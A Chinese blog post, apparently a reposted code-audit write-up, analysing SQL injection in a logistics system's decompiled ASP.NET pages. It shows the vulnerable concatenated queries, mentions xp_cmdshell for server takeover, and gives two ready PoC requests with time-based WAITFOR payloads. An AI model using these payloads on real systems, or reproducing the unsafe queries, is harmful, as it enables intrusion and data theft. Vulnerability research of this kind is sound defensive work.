网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
某物流系统,之前在网上看到爆出过一些漏洞,于是就找到朋友要到了这套源码,通过审计发现了一些漏洞,由于漏洞暂时未披露状态,关键部分会进行模糊处理,主要是分享一下自己代码审计的过程,希望各位大佬理解。
恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息,包括数据库账号密码信息,甚至可上传木马,从而控制服务器。
ILSpy visual studio
危险函数
QueryString
ToString()
select
select *
我们先来了解一下xp_cmdshell的概念:
xp_cmdshell 是 Microsoft SQL Server 中的一个扩展存储过程,它允许直接在操作系统中执行命令行命令。通过 xp_cmdshell,用户可以执行如文件管理、网络查询、程序调用等命令,这在管理员操作数据库时可能会非常有用。然而,它也带来了一定的安全风险,尤其是在恶意攻击者能够通过 SQL 注入等手段调用该功能时,可能会造成服务器的完全控制。
那我们现在就定位到物流系统的漏洞源码文件,关键漏洞代码如下:
namespace DSWeb.Shipping { // Token: 0x0200018C RID: 396 public class CompanysSysDeptGridSource : Page { // Token: 0x06000F0A RID: 3850 RVA: 0x00094AD0 File Offset: 0x00092CD0 protected void Page_Load(object sender, EventArgs e) { if (base.Request.QueryString["read"] != null) { this.strReadXmlType = base.Request.QueryString["read"].ToString().Trim(); } if (base.Request.QueryString["showcount"] != null) { this.iShowCount = int.Parse(base.Request.QueryString["showcount"].ToString()); } if (base.Request.QueryString["LINKID"] != null) { this.strLINKID = base.Request.QueryString["LINKID"].ToString(); } if (this.strReadXmlType.Equals("")) { base.Response.ContentType = "text/xml"; base.Response.Write("-2"); return; } if (!this.strReadXmlType.Equals("delete") && !this.strReadXmlType.Equals("recover")) { string cells = this.GetCells(this.iShowCount, this.strReadXmlType); base.Response.ContentType = "text/xml"; cells.Replace("&", "&"); base.Response.Write(cells); return; } this.strSysDeptGid = base.Request.QueryString["gid"]; this.strHandle = base.Request.QueryString["read"]; if (this.strSysDeptGid == null || this.strHandle == null) { base.Response.Write(-99); return; } string text = this.DoExcute(this.strSysDeptGid, this.strHandle); base.Response.Write(text); } // Token: 0x06000F0B RID: 3851 RVA: 0x00094CA8 File Offset: 0x00092EA8 private string DoExcute(string tempGid, string tempHandle) { string text = ""; SysDeptDA sysDeptDA = new SysDeptDA(); if (tempHandle == "delete") { int num = 0; if (!tempGid.Trim().Equals("")) { SysDeptEntity sysDeptEntity = new SysDeptEntity(); sysDeptEntity = sysDeptDA.GetSysDeptByID(tempGid); if (sysDeptEntity.GID != null) { num = sysDeptDA.DeleteSysDeptByGid(sysDeptEntity.GID); } else { num = -3; } } text = num.ToString(); } if (tempHandle == "recover") { if (!tempGid.Trim().Equals("")) { SysDeptEntity sysDeptEntity2 = new SysDeptEntity(); sysDeptEntity2 = sysDeptDA.GetSysDeptByID(tempGid); if (sysDeptEntity2 != null) { StringBuilder stringBuilder = new StringBuilder(); stringBuilder.Append(sysDeptEntity2.GID + ","); stringBuilder.Append(sysDeptEntity2.DEPTNO + ","); stringBuilder.Append(sysDeptEntity2.DEPTNAME + ","); stringBuilder.Append(sysDeptEntity2.MANAGE1 + ","); stringBuilder.Append(sysDeptEntity2.MANAGE2 + ","); stringBuilder.Append(sysDeptEntity2.FINANCESOFTCODE + ","); stringBuilder.Append(sysDeptEntity2.REMARK); text = stringBuilder.ToString(); } else { text = "-3"; } } else { text = "-3"; } } return text; } // Token: 0x06000F0C RID: 3852 RVA: 0x00094E08 File Offset: 0x00093008 private string GetCells(int iShowCount, string readXmlType) { new SysDeptEntity(); SysDeptDA sysDeptDA = new SysDeptDA(); SysDeptEntity sysDeptEntity = new SysDeptEntity(); sysDeptEntity = sysDeptDA.GetSysDeptByLINKIDAndType(this.strLINKID); if (sysDeptEntity != null && !this.strReadXmlType.Equals("exist")) { DataTable dataTable = new DataTable(); string text = " SELECT GID,LINKID,DEPTNO,DEPTNAME,MANAGE1,MANAGE2,FINANCESOFTCODE,REMARK,CREATEUSER,CREATETIME,MODIFIEDUSER,MODIFIEDTIME FROM sys_dept WHERE LINKID = '" + this.strLINKID + "' ORDER BY DEPTNO ASC"; dataTable = this.getStatusNameTable(sysDeptDA.GetExcuteSql(text).Tables[0]); StringBuilder stringBuilder = new StringBuilder(); stringBuilder.Append("<?xml version="1.0" encoding="UTF-8"?>"); stringBuilder.Append("<rows>"); int count = dataTable.Rows.Count; for (int i = 0; i < count; i++) { int count2 = dataTable.Columns.Count; stringBuilder.Append("<row id="" + dataTable.Rows[i]["GID"].ToString() + "">"); for (int j = 1; j < count2; j++) { switch (j) { case 2: stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>"); break; case 3: stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>"); break; case 4: stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>"); break; case 5: stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>"); break; case 6: stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>"); break; case 7: stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>"); break; } } stringBuilder.Append("</row>"); } stringBuilder.Append("</rows>"); return stringBuilder.ToString(); } if (sysDeptEntity != null && this.strReadXmlType.Equals("exist")) { return "1"; } if (sysDeptEntity == null && this.strReadXmlType.Equals("add")) { StringBuilder stringBuilder2 = new StringBuilder(); stringBuilder2.Append("<?xml version="1.0" encoding="UTF-8"?>"); stringBuilder2.Append("<rows>"); stringBuilder2.Append("<row id="" + Guid.NewGuid().ToString() + "">"); stringBuilder2.Append("<cell></cell>"); stringBuilder2.Append("<cell></cell>"); stringBuilder2.Append("<cell></cell>"); stringBuilder2.Append("<cell></cell>"); stringBuilder2.Append("<cell></cell>"); stringBuilder2.Append("<cell></cell>"); stringBuilder2.Append("</row>"); stringBuilder2.Append("</rows>"); return stringBuilder2.ToString(); } return "-3"; }
在页面加载方法Page_Load中,首先从请求中获取各种参数。如果请求中包含LINKID参数,代码会将其值赋给strLINKID变量。
在GetCells方法中,strLINKID变量未经任何处理直接拼接到 SQL 查询语句中。
这里就是问题代码所在的部分
string text = " SELECT GID,LINKID,DEPTNO,DEPTNAME,MANAGE1,MANAGE2,FINANCESOFTCODE,REMARK,CREATEUSER,CREATETIME,MODIFIEDUSER,MODIFIEDTIME FROM sys_dept WHERE LINKID = '" + this.strLINKID + "' ORDER BY DEPTNO ASC";
strLINKID是从输入获得的,并且没有进行任何处理或验证,那么就可以构造类似
可以将strLINKID设置为' OR 1=1--,这样拼接后的 SQL 语句就变成了
看到这里可以直接构造语句:/xxx/xxxx?read=exist&showcount=10&LINKID=';WAITFOR DELAY '0:0:5'--
POC1
GET /Shipping/CompanysSysDeptGridSource.aspx?read=exist&showcount=10&LINKID=%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
if (base.Request.QueryString["attrid"]!= null) { this.strAttributeID = base.Request.QueryString["attrid"].ToString().Trim(); }
先从请求中获取参数,并赋给相应的变量,这里将请求中的attrid参数的值赋给了strAttributeID变量,从代码逻辑可以清晰看出,strAttributeID的值来源于请求中的attrid参数。
这里直接将strAttributeID拼接到 SQL 查询语句中,没有进行任何输入验证或参数化处理。控制请求中的attrid参数,进而影响到strAttributeID变量,就可以注入恶意的 SQL 代码
string text = ""; if (this.strAttributeID!= null) { text = " AND A.GID = '" + this.strAttributeID + "'"; } string text2 = string.Format("SELECT A.GID,A.NAME,A.DESCRIPTION,A.DEFAULTVALUE,B.NAME AS TYPENAME,A.TYPEID from attribute as A INNER JOIN attribute_type as B ON A.TYPEID = B.GID WHERE 1 > 0 AND ISNULL(A.ISDELETE,0) <> 1 AND ISNULL(B.ISDELETE,0) <> 1 {0} ORDER BY A.DESCRIPTION ASC", text); DataTable dataTable = attributeCompanyDA.GetExcuteSql(text2).Tables[0];
POC2
GET /FeeCodes/AttributeAdapter.aspx?handle=attrinfo&attrid=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
原文链接:https://xz.aliyun.com/t/15888
如有侵权,请联系删除
原文始发于微信公众号(神农Sec):某物流软件存在sql注入漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论